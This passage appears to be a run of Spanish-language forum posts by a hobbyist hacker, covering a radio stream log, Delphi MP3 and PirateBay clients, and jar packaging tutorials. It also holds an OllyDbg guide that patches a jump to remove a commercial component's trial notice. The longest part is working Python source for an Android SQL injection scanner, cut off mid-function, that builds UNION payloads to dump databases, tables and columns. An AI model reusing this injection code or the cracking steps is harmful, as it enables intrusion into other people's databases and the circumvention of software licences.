CPUflags:  MMX: 1 MMX2: 1 3DNow: 1 3DNow2: 1 SSE: 1 SSE2: 1
Compiled with runtime CPU detection.

Playing http://174.36.206.197:8000.
Connecting to server 174.36.206.197[174.36.206.197]: 8000...
Name   : Venice Classic Radio Italia
Genre  : Classical
Website: http://www.veniceclassicradio.eu/
Public : yes
Bitrate: 128kbit/s
Cache size set to 320 KBytes
Cache fill:  0.00% (0 bytes)   No bind found for key ''.

Cache fill:  7.50% (24576 bytes)
ICY Info: StreamTitle='Frederic Chopin (1810-1849) - 'Allegro de concert' per pi
anoforte in la Maggiore Op.46 (11:37)  {+info: veniceclassicradio.eu}';StreamUrl
='';
Cache fill: 17.50% (57344 bytes)
Audio file file format detected.
==========================================================================
Opening audio decoder: [mp3lib] MPEG layer-2, layer-3
mpg123: Can't rewind stream by 154 bits!
AUDIO: 44100 Hz, 2 ch, s16le, 128.0 kbit/9.07% (ratio: 16000->176400)
Selected audio codec: [mp3] afm: mp3lib (mp3lib MPEG layer-2, layer-3)
==========================================================================
AO: [dsound] 44100Hz 2ch s16le (2 bytes per sample)
Video: no video
Starting playback...

ICY Info: StreamTitle='Mauro Giuliani (1781-1829) - Variazioni su 'Deh! Calma, o
h ciel!' per chitarra e quartetto (08:00)  {+info: veniceclassicradio.eu}';Strea
mUrl='';

ICY Info: StreamTitle='Johann Sebastian Bach (1685-1750) - 'Il clavicembalo ben
temperato' - Libro I - Praeludium et Fuga in si bemolle Maggiore BWV866 (02:42)
{+info: veniceclassicradio.eu}';StreamUrl='';

ICY Info: StreamTitle='Antonio Palella (1692-1761) - Concerto a 4  in sol Maggio
re (12:42)  {+info: veniceclassicradio.eu}';StreamUrl='';

ICY Info: StreamTitle='Anton Reicha (1770-1836) - Sonata per fagotto e pianofort
e (16:19)  {+info: veniceclassicradio.eu}';StreamUrl='';

ICY Info: StreamTitle='Gioachino Rossini (1792-1868) - Sonata per archi in mi be
molle Maggiore No.5 (14:51)  {+info: veniceclassicradio.eu}';StreamUrl='';

ICY Info: StreamTitle='Fernand De La Tombelle (1854-1928) - Andante espressivo p
er violoncello e pianoforte (04:39)  {+info: veniceclassicradio.eu}';StreamUrl='
';

ICY Info: StreamTitle='Franz Schubert (1797-1828) - Sinfonia in re Maggiore No.3
D200 (23:09)  {+info: veniceclassicradio.eu}';StreamUrl='';



Eso es todo.
#114
Java / [Java] MD5 Cracker 1.0
21 Marzo 2014, 22:04 PM
Un simple programa en Java para crackear un hash MD5.

Una imagen :



Si lo quieren bajar lo pueden hacer de aca.
#115
Java / [Java] BingHackTool 1.0
14 Marzo 2014, 16:17 PM
Un simple programa en Java para buscar paginas vulnerables a SQLI usando Bing.

Una imagen :



Si lo quieren bajar lo pueden hacer de aca.
#116
Java / [Java] LocateIP 1.0
7 Marzo 2014, 18:54 PM
Un simple programa en java para localizar una pagina.

Una imagen :



Si lo quieren bajar lo pueden hacer de aca.
#117
Programación General / [Delphi] DH Player 0.5
28 Febrero 2014, 16:35 PM
Un reproductor de musica , en esta version le agregue un buscador usando mp3skull para buscar y descargar canciones , para despues guardarlas en una carpeta llamada "downloads" y escucharlas cuando quieran.

Una imagen :



El codigo :

Código (delphi) [Seleccionar]

// DH Player 0.5
// Coded By Doddy H
// Based on this article : http://delphi.about.com/od/multimedia/l/aa112800a.htm

unit mp3player;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, Menus, StdCtrls, sListBox, sSkinManager, MPlayer, sGroupBox, jpeg,
  ExtCtrls, ComCtrls, acProgressBar, Buttons, FileCtrl, sEdit, sPageControl,
  sStatusBar, sButton, PerlRegEx, IdBaseComponent, IdComponent, IdTCPConnection,
  IdTCPClient, IdHTTP, sListView, acPNG, sLabel;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    Image1: TImage;
    PopupMenu1: TPopupMenu;
    L1: TMenuItem;
    R1: TMenuItem;
    A1: TMenuItem;
    E1: TMenuItem;
    Timer1: TTimer;
    sPageControl1: TsPageControl;
    sTabSheet1: TsTabSheet;
    sGroupBox4: TsGroupBox;
    MediaPlayer1: TMediaPlayer;
    sGroupBox2: TsGroupBox;
    sEdit1: TsEdit;
    sGroupBox5: TsGroupBox;
    sListBox1: TsListBox;
    sGroupBox1: TsGroupBox;
    sProgressBar1: TsProgressBar;
    sTabSheet2: TsTabSheet;
    sStatusBar1: TsStatusBar;
    sGroupBox3: TsGroupBox;
    sEdit2: TsEdit;
    sListBox2: TsListBox;
    sListBox3: TsListBox;
    sListBox4: TsListBox;
    sButton1: TsButton;
    IdHTTP1: TIdHTTP;
    PerlRegEx1: TPerlRegEx;
    sGroupBox6: TsGroupBox;
    sListView1: TsListView;
    sTabSheet3: TsTabSheet;
    sGroupBox7: TsGroupBox;
    MediaPlayer2: TMediaPlayer;
    sGroupBox8: TsGroupBox;
    sListBox5: TsListBox;
    sGroupBox9: TsGroupBox;
    sGroupBox10: TsGroupBox;
    sProgressBar2: TsProgressBar;
    sProgressBar3: TsProgressBar;
    Timer2: TTimer;

    IdHTTP2: TIdHTTP;

    sTabSheet4: TsTabSheet;
    sGroupBox11: TsGroupBox;
    Image2: TImage;
    sLabel1: TsLabel;procedure A1Click(Sender: TObject);
    procedure E1Click(Sender: TObject);
    procedure R1Click(Sender: TObject);
    procedure L1Click(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    procedure sListBox1DblClick(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure sButton1Click(Sender: TObject);
    procedure sListView1DblClick(Sender: TObject);
    procedure sListBox5DblClick(Sender: TObject);
    procedure Timer2Timer(Sender: TObject);
    procedure IdHTTP2Work(ASender: TObject; AWorkMode: TWorkMode;
      AWorkCount: Int64);
    procedure IdHTTP2WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
      AWorkCountMax: Int64);
    procedure IdHTTP2WorkEnd(ASender: TObject; AWorkMode: TWorkMode);

  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}
// Functions

function getfilename(archivo: string): string;
var
  test: TStrings;
begin

  test := TStringList.Create;
  test.Delimiter := '/';
  test.DelimitedText := archivo;
  Result := test[test.Count - 1];

  test.Free;

end;

//

procedure TForm1.A1Click(Sender: TObject);
begin
  ShowMessage('Contact to lepuke[at]hotmail[com]');
end;

procedure TForm1.E1Click(Sender: TObject);
begin
  Form1.Close();
end;

procedure TForm1.FormCreate(Sender: TObject);
var
  dir: string;
  search: TSearchRec;
  cantidad: Integer;
begin
  sProgressBar1.Max := 0;
  sProgressBar2.Max := 0;
  sProgressBar3.Max := 0;

  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'fm';
  sSkinManager1.Active := True;

  begin

    dir := ExtractFilePath(Application.ExeName) + '/downloads';

    if not(DirectoryExists(dir)) then
    begin
      CreateDir(dir);
    end;

    ChDir(dir);

    sListBox5.Clear;

    cantidad := FindFirst(ExtractFilePath(Application.ExeName)
        + '/downloads/' + '*.mp3', faAnyFile, search);

    while cantidad = 0 do
    begin
      if FileExists(dir + '/' + search.name) then
      begin
        sListBox5.Items.Add(search.name);
      end;
      cantidad := FindNext(search);
    end;
    FindClose(search);
  end;

end;

procedure TForm1.IdHTTP2Work(ASender: TObject; AWorkMode: TWorkMode;
  AWorkCount: Int64);
begin
  sProgressBar2.Position := AWorkCount;
  sStatusBar1.Panels[0].Text := '[+] Downloading ...';
  Form1.sStatusBar1.Update;
end;

procedure TForm1.IdHTTP2WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
  AWorkCountMax: Int64);
begin
  sProgressBar2.Max := AWorkCountMax;
  sStatusBar1.Panels[0].Text := '[+] Starting download ...';
  Form1.sStatusBar1.Update;
end;

procedure TForm1.IdHTTP2WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
var
  dir: string;
  search: TSearchRec;
  cantidad: Integer;
begin
  sProgressBar2.Position := 0;

  sListBox5.Clear;

  dir := ExtractFilePath(Application.ExeName) + '/downloads';

  cantidad := FindFirst(ExtractFilePath(Application.ExeName)
      + '/downloads/' + '*.mp3', faAnyFile, search);

  while cantidad = 0 do
  begin
    if FileExists(dir + '/' + search.name) then
    begin
      sListBox5.Items.Add(search.name);
    end;
    cantidad := FindNext(search);
  end;
  FindClose(search);

end;

procedure TForm1.L1Click(Sender: TObject);
var
  dir: string;
  search: TSearchRec;
  cantidad: Integer;

begin

  SelectDirectory('Select a folder', '', dir);

  sListBox1.Clear;

  sEdit1.Text := dir;
  cantidad := FindFirst(dir + '/' + '*.mp3', faAnyFile, search);

  while cantidad = 0 do
  begin
    if FileExists(dir + '/' + search.name) then
    begin
      sListBox1.Items.Add(search.name);
    end;
    cantidad := FindNext(search);
  end;
  FindClose(search);

end;

procedure TForm1.R1Click(Sender: TObject);
begin
  sEdit1.Text := '';
  sProgressBar1.Max := 0;
  sListBox1.Clear;
end;

procedure TForm1.sButton1Click(Sender: TObject);
var
  cancion: string;
  code: string;
  nombre: string;
  datos: string;
  link: string;
  i: Integer;
begin

  sListBox2.Clear;
  sListBox3.Clear;
  sListBox4.Clear;
  sListView1.Clear;

  cancion := sEdit2.Text;
  cancion := StringReplace(cancion, ' ', '-', [rfReplaceAll, rfIgnoreCase]);

  sStatusBar1.Panels[0].Text := '[+] Searching ... ';
  sStatusBar1.Update;

  code := IdHTTP1.Get('http://mp3skull.com/mp3/' + cancion + '.html');

  PerlRegEx1.Regex := '<div style="font-size:15px;"><b>(.*)<\/b><\/div>';
  PerlRegEx1.Subject := code;

  while PerlRegEx1.MatchAgain do
  // if PerlRegEx1.Match then
  begin
    nombre := PerlRegEx1.SubExpressions[1];
    sListBox2.Items.Add(nombre);
  end;

  PerlRegEx1.Regex := '<!-- info mp3 here -->\s+(.*?)<\/div>';
  PerlRegEx1.Subject := code;

  while PerlRegEx1.MatchAgain do
  // if PerlRegEx1.Match then
  begin
    datos := PerlRegEx1.SubExpressions[1];
    datos := StringReplace(datos, '<br \/>', ' ', [rfReplaceAll, rfIgnoreCase]);
    datos := StringReplace(datos, '<br />', ' ', [rfReplaceAll, rfIgnoreCase]);
    sListBox3.Items.Add(datos);
  end;

  PerlRegEx1.Regex := '<a href=\"(.*)\.mp3\"';
  PerlRegEx1.Subject := code;

  while PerlRegEx1.MatchAgain do
  // if PerlRegEx1.Match then
  begin
    link := PerlRegEx1.SubExpressions[1] + '.mp3';
    sListBox4.Items.Add(link);
  end;

  for i := 0 to sListBox2.Count - 1 do
  begin
    // ShowMessage(IntToStr(i));
    with sListView1.Items.Add do
    begin
      Caption := sListBox2.Items[i];
      SubItems.Add(sListBox3.Items[i]);
    end;
  end;

  sStatusBar1.Panels[0].Text := '[+] Finished ';
  sStatusBar1.Update;

end;

procedure TForm1.sListBox1DblClick(Sender: TObject);
begin

  sProgressBar1.Max := 0;

  MediaPlayer1.Close;
  MediaPlayer1.FileName := sEdit1.Text + '/' + sListBox1.Items.Strings
    [sListBox1.ItemIndex];
  MediaPlayer1.Open;

  sProgressBar1.Max := MediaPlayer1.Length;
end;

procedure TForm1.sListBox5DblClick(Sender: TObject);
begin

  MediaPlayer2.Close;
  MediaPlayer2.FileName := ExtractFilePath(Application.ExeName)
    + '/downloads' + '/' + sListBox5.Items.Strings[sListBox5.ItemIndex];
  MediaPlayer2.Open;

  sProgressBar3.Max := MediaPlayer2.Length;

end;

procedure TForm1.sListView1DblClick(Sender: TObject);
var
  FileName: string;
  nombrefinal: string;
  archivobajado: TFileStream;
  url: string;

begin

  url := sListBox4.Items[sListView1.Selected.Index];

  nombrefinal := getfilename(url);

  archivobajado := TFileStream.Create(ExtractFilePath(Application.ExeName)
      + '/downloads' + '/' + nombrefinal, fmCreate);

  try

    begin
      DeleteFile(nombrefinal);
      IdHTTP2.Get(url, archivobajado);
      sStatusBar1.Panels[0].Text := '[+] File Dowloaded';
      Form1.sStatusBar1.Update;
      archivobajado.Free;
    end;
  except
    sStatusBar1.Panels[0].Text := '[-] Failed download';
    Form1.sStatusBar1.Update;
    archivobajado.Free;
    Abort;
  end;

end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
  if sProgressBar1.Max <> 0 then
  begin
    sProgressBar1.Position := MediaPlayer1.Position;
  end;
end;

procedure TForm1.Timer2Timer(Sender: TObject);
begin
  if sProgressBar3.Max <> 0 then
  begin
    sProgressBar3.Position := MediaPlayer2.Position;
  end;

end;

end.

// The End ?


Si lo quieren bajar lo pueden hacer de aca.
#118
Java / Generar Jar con librerias incluidas
26 Febrero 2014, 21:57 PM
Bueno , hice este videotutorial porque queria tener un solo archivo jar en vez de tener las clasicas dependencias en la carpeta lib , este problema lo resolvi gracias a este link.

El video :

[youtube=640,360]http://www.youtube.com/watch?v=SLw319Jwvk8[/youtube]

El manual en si :

Para empezar tenemos que modificar el archivo build.xml del programa al que quieren hacerle esto , en mi caso voy a buscar en el directorio de mi proyecto llamado "locateip_grafico" que es un programa que hice hace poco , la ruta en mi caso es esta : C:\Documents and Settings\Doddy\Mis documentos\NetBeansProjects\locateip_grafico
Una vez encontrado el archivo build.xml lo abrimos y le agregamos esto despues de las tres primeras lineas de texto , con texto me refiero a despues de los comentarios que estan con "<!--" , el codigo a agregar es este :


<target name="-post-jar">
<jar jarfile="dist/finished.jar">
<zipfileset src="${dist.jar}" excludes="META-INF/*" />
<zipfileset src="dist/lib/appframework-1.0.3.jar" excludes="META-INF/*" />
<zipfileset src="dist/lib/swing-worker-1.1.jar" excludes="META-INF/*" />
<manifest>
<attribute name="Main-Class" value="locateip_grafico.Locateip_graficoApp"/>
</manifest>
</jar>
</target>


En la parte de "jar jarfile=" deben agregar el nombre que tendra el archivo unico con extension jar , algo a tener en cuenta es que el nombre que usen debe ser diferente al programa en si porque si no va haber errores.

Las librerias que usan deben estar como en las siguientes lineas :


<zipfileset src="dist/lib/appframework-1.0.3.jar" excludes="META-INF/*" />
<zipfileset src="dist/lib/swing-worker-1.1.jar" excludes="META-INF/*" />


Como ven en mi caso uso las librerias "appframework-1.0.3.jar" y "swing-worker-1.1.jar"

Lo ultimo y mas importante es modificar la siguiente linea "<attribute name=Main-Class" con el nombre que tienen como Main-Class , en el proyecto para saber cual es solo tienen que ir las propiedades del proyecto en NetBeans y ver en la parte de "Run".

Una vez modicado el archivo solo tenemos que volver a compilar el proyecto en NetBeans y contemplar el jar solo xD.

Eso seria todo.
#119
Hoy les traigo un video de como convertir un archivo jar a exe usando IExpress.

El video :

[youtube=640,360]http://www.youtube.com/watch?v=g7Fnx1snwPw[/youtube]

El manual en si :


-> Execute "iexpress"
-> Create new Self Extraction Directive file
-> Extract files and run an installation command
-> Package title : Your title
-> No prompt
-> Do not display a license
-> Packaged files : Java Files
-> Install Program to Launch -> Install program -> java -jar <file>
-> Show window -> Hidden
-> Finished Message -> No message
-> Package Name and Options -> Enter exe name
   -> Select "Hide File Extracting Progress Animation from User"
-> Configure restart -> No restart
-> Save Self Extraction Directive -> Dont save
-> Finished


#120
Un simple programa en Delphi para buscar torrents en PirateBay.

Una imagen :



El codigo :

Código (delphi) [Seleccionar]

// PirateBay Manager 0.8
// (C) Doddy Hackman 2014

unit pirate;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, PerlRegEx, IdBaseComponent, IdComponent, IdTCPConnection,
  IdTCPClient, IdHTTP, ComCtrls, sListView, sGroupBox, sListBox, ShellApi,
  sSkinManager, acPNG, ExtCtrls, sStatusBar, sEdit, sButton;

type
  TForm1 = class(TForm)
    IdHTTP1: TIdHTTP;
    PerlRegEx1: TPerlRegEx;
    sGroupBox1: TsGroupBox;
    sListView1: TsListView;
    sListBox1: TsListBox;
    sListBox2: TsListBox;
    sListBox3: TsListBox;
    PerlRegEx2: TPerlRegEx;
    sSkinManager1: TsSkinManager;
    Image1: TImage;
    sGroupBox2: TsGroupBox;
    sEdit1: TsEdit;
    sStatusBar1: TsStatusBar;
    sButton1: TsButton;
    procedure sListView1DblClick(Sender: TObject);
    procedure sButton1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin
  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'tv-b';
  sSkinManager1.Active := True;
end;

procedure TForm1.sButton1Click(Sender: TObject);
var
  busqueda: string;
  code: string;
  nombre: string;
  link_torrent: string;
  limpiando_data: string;
  data: string;
  seeders: string;
  leechers: string;
  i: integer;

begin

  sListBox1.Clear;
  sListBox2.Clear;
  sListBox3.Clear;
  sListView1.Clear;

  busqueda := sEdit1.Text;
  busqueda := StringReplace(busqueda, ' ', '%20', [rfReplaceAll, rfIgnoreCase]);

  sStatusBar1.Panels[0].Text := '[+] Searching ...';
  sStatusBar1.Update;

  code := IdHTTP1.Get('http://thepiratebay.se/search/' + busqueda + '/0/99/0');

  sStatusBar1.Panels[0].Text := '[+] Finished';
  sStatusBar1.Update;

  PerlRegEx1.Regex :=
    '(.*?)class="detLink" title="Details for (.*?)">(.*?)<a href="magnet(.*?)" title="Download this torrent using magnet"(.*?)<font class="detDesc">(.*?)<\/font>(.*?)<td align="right">(.*?)<\/td>(.*?)<td align="right">(.*?)<\/td>(.*?)';
  PerlRegEx1.Subject := code;

  while PerlRegEx1.MatchAgain do
  // if PerlRegEx1.Match then
  begin
    nombre := PerlRegEx1.SubExpressions[2];
    link_torrent := 'magnet' + PerlRegEx1.SubExpressions[4];
    limpiando_data := PerlRegEx1.SubExpressions[6];
    seeders := PerlRegEx1.SubExpressions[8];
    leechers := PerlRegEx1.SubExpressions[10];

    PerlRegEx2.Regex := '(.*), ULed by <';
    PerlRegEx2.Subject := limpiando_data;

    if PerlRegEx2.Match then
    begin
      limpiando_data := PerlRegEx2.SubExpressions[1];
      data := StringReplace(limpiando_data, '&nbsp;', '', [rfReplaceAll,
        rfIgnoreCase]);
      data := data + ', Seeders ' + seeders + ', Leechers ' + leechers;

    end;

    sListBox1.Items.Add(nombre);
    sListBox2.Items.Add(data);
    sListBox3.Items.Add(link_torrent);

  end;

  for i := 0 to sListBox1.Count - 1 do
  begin
    // ShowMessage(IntToStr(i));
    with sListView1.Items.Add do
    begin
      Caption := sListBox1.Items[i];
      SubItems.Add(sListBox2.Items[i]);
    end;
  end;
end;

procedure TForm1.sListView1DblClick(Sender: TObject);
begin
  // ShowMessage(sListBox3.Items[sListView1.Selected.Index]);
  ShellExecute(0, nil, PChar(sListBox3.Items[sListView1.Selected.Index]), nil,
    nil, SW_SHOWNORMAL);
end;

end.

// The End ?


Si lo quieren bajar lo pueden hacer de aca.
#121
Hola hice un manual para crackear los programas en delphi en los que usaron el componente alphacontrols , en realidad solo saca la molesta ventana en la que nos dice "gracias por usar alphacontrol" o algo asi pero es la idea xD.
El programa que uso para esto es OLLYDBG.

El video :

[youtube=640,360]http://www.youtube.com/watch?v=yKH6OXm3KMg[/youtube]

El manual en si :


-- == Crackear componente AlphaControls de Delphi == --

- En Español -

1 - Click derecho -> Search for -> All referenced text strings
2 - Click derecho -> Search for text "Trial" y seleccionen solo "Entire scope"
 - Usen Control + L para seguir buscando
3 - Seleccionen y doble click en "Trial version of the AlphaControls"
4 - Seleccionen el "JNZ" que se encuentra arriba de la linea por defecto , hagan doble click para cambiar el "JNZ" por "JMP"
5 - Seleccionen el "JMP SHORT" recien cambiado , hagan doble click y seleccionen "Copy to executable"
6 - Hagan doble click y seleccionen "Save File"
7 - Guarden el ejecutable con el nombre que quieran

- In English -

1 - Right Click -> Search for -> All referenced text strings
2 - Right Click -> Search for text "Trial" and select only "Entire scope"
 - Control + L for next
3 - Select and Double Click in "Trial version of the AlphaControls"
4 - Select "JNZ" and change for "JMP"
5 - Select JMP SHORT , double click and select "Copy to executable"
6 - Double Click and "Save File"
7 - Save the file with any name

-- == The End ? == --


Supongo que eso es todo.
#122
Hola tengo un problema cuando quiero guardar un rectangulo redondeado , cuando guardo normalmente se ve bien pero cuando lo guardo para web arruina los bordes del rectangulo volviendose blancos como la imagen :



lo raro es que siempre lo hago como transparente.

¿ como arreglo esto ?

pd : lo hago en formato gif porque estoy haciendo una animacion.
#123
Scripting / [Python-Android] ParanoicScan 0.3
3 Febrero 2014, 14:17 PM
Un simple script en python para android , el script tiene las siguientes funciones :

  • Scannea en bing buscando SQLI
  • Un completo scanner SQLI
  • Buscador de panel de administracion
  • Codificador de MD5
  • Codificador y Decodificador de Base64 y Hex
  • Localizador de IP y sus DNS
  • Crackeador de para hashes MD5
  • HTTP FingerPrinting

    Unas imagenes :























    El codigo :

    Código (perl) [Seleccionar]

    #!usr/bin/python
    # -*- coding: utf-8 -*-
    #################################################################################
    #This software is Copyright (c) 2014 by Doddy Hackman.
    #
    #This is free software, licensed under:
    #
    #  The Artistic License 1.0
    #
    #The Artistic License
    #
    #Preamble
    #
    #The intent of this document is to state the conditions under which a Package
    #may be copied, such that the Copyright Holder maintains some semblance of
    #artistic control over the development of the package, while giving the users of
    #the package the right to use and distribute the Package in a more-or-less
    #customary fashion, plus the right to make reasonable modifications.
    #
    #Definitions:
    #
    #  - "Package" refers to the collection of files distributed by the Copyright
    #    Holder, and derivatives of that collection of files created through
    #    textual modification.
    #  - "Standard Version" refers to such a Package if it has not been modified,
    #    or has been modified in accordance with the wishes of the Copyright
    #    Holder.
    #  - "Copyright Holder" is whoever is named in the copyright or copyrights for
    #    the package.
    #  - "You" is you, if you're thinking about copying or distributing this Package.
    #  - "Reasonable copying fee" is whatever you can justify on the basis of media
    #    cost, duplication charges, time of people involved, and so on. (You will
    #    not be required to justify it to the Copyright Holder, but only to the
    #    computing community at large as a market that must bear the fee.)
    #  - "Freely Available" means that no fee is charged for the item itself, though
    #    there may be fees involved in handling the item. It also means that
    #    recipients of the item may redistribute it under the same conditions they
    #    received it.
    #
    #1. You may make and give away verbatim copies of the source form of the
    #Standard Version of this Package without restriction, provided that you
    #duplicate all of the original copyright notices and associated disclaimers.
    #
    #2. You may apply bug fixes, portability fixes and other modifications derived
    #from the Public Domain or from the Copyright Holder. A Package modified in such
    #a way shall still be considered the Standard Version.
    #
    #3. You may otherwise modify your copy of this Package in any way, provided that
    #you insert a prominent notice in each changed file stating how and when you
    #changed that file, and provided that you do at least ONE of the following:
    #
    #  a) place your modifications in the Public Domain or otherwise make them
    #     Freely Available, such as by posting said modifications to Usenet or an
    #     equivalent medium, or placing the modifications on a major archive site
    #     such as ftp.uu.net, or by allowing the Copyright Holder to include your
    #     modifications in the Standard Version of the Package.
    #
    #  b) use the modified Package only within your corporation or organization.
    #
    #  c) rename any non-standard executables so the names do not conflict with
    #     standard executables, which must also be provided, and provide a separate
    #     manual page for each non-standard executable that clearly documents how it
    #     differs from the Standard Version.
    #
    #  d) make other distribution arrangements with the Copyright Holder.
    #
    #4. You may distribute the programs of this Package in object code or executable
    #form, provided that you do at least ONE of the following:
    #
    #  a) distribute a Standard Version of the executables and library files,
    #     together with instructions (in the manual page or equivalent) on where to
    #     get the Standard Version.
    #
    #  b) accompany the distribution with the machine-readable source of the Package
    #     with your modifications.
    #
    #  c) accompany any non-standard executables with their corresponding Standard
    #     Version executables, giving the non-standard executables non-standard
    #     names, and clearly documenting the differences in manual pages (or
    #     equivalent), together with instructions on where to get the Standard
    #     Version.
    #
    #  d) make other distribution arrangements with the Copyright Holder.
    #
    #5. You may charge a reasonable copying fee for any distribution of this
    #Package.  You may charge any fee you choose for support of this Package. You
    #may not charge a fee for this Package itself. However, you may distribute this
    #Package in aggregate with other (possibly commercial) programs as part of a
    #larger (possibly commercial) software distribution provided that you do not
    #advertise this Package as a product of your own.
    #
    #6. The scripts and library files supplied as input to or produced as output
    #from the programs of this Package do not automatically fall under the copyright
    #of this Package, but belong to whomever generated them, and may be sold
    #commercially, and may be aggregated with this Package.
    #
    #7. C or perl subroutines supplied by you and linked into this Package shall not
    #be considered part of this Package.
    #
    #8. The name of the Copyright Holder may not be used to endorse or promote
    #products derived from this software without specific prior written permission.
    #
    #9. THIS PACKAGE IS PROVIDED "AS IS" AND WITHOUT ANY EXPRESS OR IMPLIED
    #WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
    #MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
    #
    #The End
    #
    #################################################################################
    #Paranoic Scan 0.3
    #Android Version
    #(C) Doddy Hackman 2014
    #################################################################################

    import android,urllib2,socket,binascii,re,base64,hashlib

    webvul = ""

    # Functions

    def hexencoder(texto):
    return "[+] Result : "+"0x"+str(binascii.hexlify(texto))

    def hexdecoder(texto):
    text = re.sub("0x","",texto)
    return "[+] Result : "+binascii.unhexlify(text)

    def base64encoder(texto):
    return "[+] Result : "+base64.b64encode(texto)

    def base64decoder(texto):
    return "[+] Result : "+base64.b64decode(texto)

    def md5encoder(texto):
    return "[+] Result : "+hashlib.md5(texto).hexdigest()

    def reem(texto,parte):
    return re.sub(parte,"hackman",texto)

    def regexver(code):
    if (re.findall("K0BRA(.*?)K0BRA",code)):
     return True
    else:
     return False

    def regexdar(code):
    if (re.findall("K0BRA(.*?)K0BRA",code)):
     return re.findall("K0BRA(.*?)K0BRA",code)[0]

    def toma(web) :
    nave = urllib2.Request(web)
    nave.add_header('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5');
    op = urllib2.build_opener()
    return op.open(nave).read()

    def tomar(web,vars) :
    nave = urllib2.build_opener()
    nave.add_header = [('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5')]
    return nave.open(web,vars).read()

    def getdata(web) :
    nave = urllib2.Request(web)
    nave.add_header('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5');
    op = urllib2.build_opener()
    return op.open(nave).info()

    def bypass(bypass):
    if bypass == "--":
     return("+","--")
    elif bypass == "/*":
     return("/**/","/**/")
    else:
     return("+","--")
     
    def showtables(web):
    pass1,pass2 = bypass("--")
    respuesta = ""
    web1 = re.sub("hackman","unhex(hex(concat(0x4b30425241,count(table_name),0x4b30425241)))",web)
    web2 = re.sub("hackman","unhex(hex(concat(0x4b30425241,table_name,0x4b30425241)))",web)
    code1 = toma(web1+pass1+"from"+pass1+"information_schema.tables"+pass2)
    respuesta = respuesta + "[+] Searching tables ...\n\n"
    if (re.findall("K0BRA(.*?)K0BRA",code1)):
     numbers = re.findall("K0BRA(.*?)K0BRA",code1)
     numbers = numbers[0]
     respuesta = respuesta + "[+] Tables Found : "+numbers+"\n\n"
     for counter in range(17,int(numbers)):
      code2 = toma(web2+pass1+"from"+pass1+"information_schema.tables"+pass1+"limit"+pass1+repr(counter)+",1"+pass2)
      if (re.findall("K0BRA(.*?)K0BRA",code2)):
       table = re.findall("K0BRA(.*?)K0BRA",code2)
       table = table[0]
       respuesta = respuesta + "[Table Found] : "+table+"\n"
    else:
     respuesta = respuesta + "[-] Not Found\n"
    respuesta = respuesta + "\n[+] Finished"
    return respuesta

    def showcolumns(web,tabla):
    respuesta = ""
    pass1,pass2 = bypass("--")
    tabla2 = tabla
    tabla = "0x"+str(binascii.hexlify(tabla))
    web1 = re.sub("hackman","unhex(hex(concat(0x4b30425241,count(column_name),0x4b30425241)))",web)
    web2 = re.sub("hackman","unhex(hex(concat(0x4b30425241,column_name,0x4b30425241)))",web)
    code1 = toma(web1+pass1+"from"+pass1+"information_schema.columns"+pass1+"where"+pass1+"table_name="+tabla+pass2)
    respuesta = respuesta + "[+] Searching columns ...\n\n"
    if (re.findall("K0BRA(.*?)K0BRA",code1)):
     numbers = re.findall("K0BRA(.*?)K0BRA",code1)
     numbers = numbers[0]
     respuesta = respuesta + "[+] Columns Found : "+numbers+"\n"
     for counter in range(0,int(numbers)):
      code2 = toma(web2+pass1+"from"+pass1+"information_schema.columns"+pass1+"where"+pass1+"table_name="+tabla+pass1+"limit"+pass1+repr(counter)+",1"+pass2)
      if (re.findall("K0BRA(.*?)K0BRA",code2)):
       column = re.findall("K0BRA(.*?)K0BRA",code2)
       column = column[0]
       respuesta = respuesta + "\n[Column Found in table "+str(tabla2)+"] : "+str(column)
    else:
     respuesta = respuesta + "[-] Not Found"
    respuesta = respuesta + "\n\n[+] Finished"
    return respuesta

    def showdbs(web):
    respuesta = ""
    pass1,pass2 = bypass("--")
    web1 = re.sub("hackman","unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))",web)
    web2 = re.sub("hackman","unhex(hex(concat(0x4b30425241,schema_name,0x4b30425241)))",web)
    code1 = toma(web1+pass1+"from"+pass1+"information_schema.schemata"+pass2)
    respuesta = respuesta + "[+] Searching DBS ...\n\n"
    if (re.findall("K0BRA(.*?)K0BRA",code1)):
     numbers = re.findall("K0BRA(.*?)K0BRA",code1)
     numbers = numbers[0]
     respuesta = respuesta + "[+] DBS Found : "+numbers+"\n"
     for counter in range(0,int(numbers)):
      code2 = toma(web2+pass1+"from"+pass1+"information_schema.schemata"+pass1+"limit"+pass1+repr(counter)+",1"+pass2)
      if (re.findall("K0BRA(.*?)K0BRA",code2)):
       db = re.findall("K0BRA(.*?)K0BRA",code2)
       db = db[0]
       respuesta = respuesta + "\n[DB Found] : "+db
    else:
     respuesta = respuesta + "[-] Not Found"
    respuesta = respuesta + "\n\n[+] Finished"
    return respuesta

    def dumper(web,table,col1,col2):
    respuesta = ""
    pass1,pass2 = bypass("--")
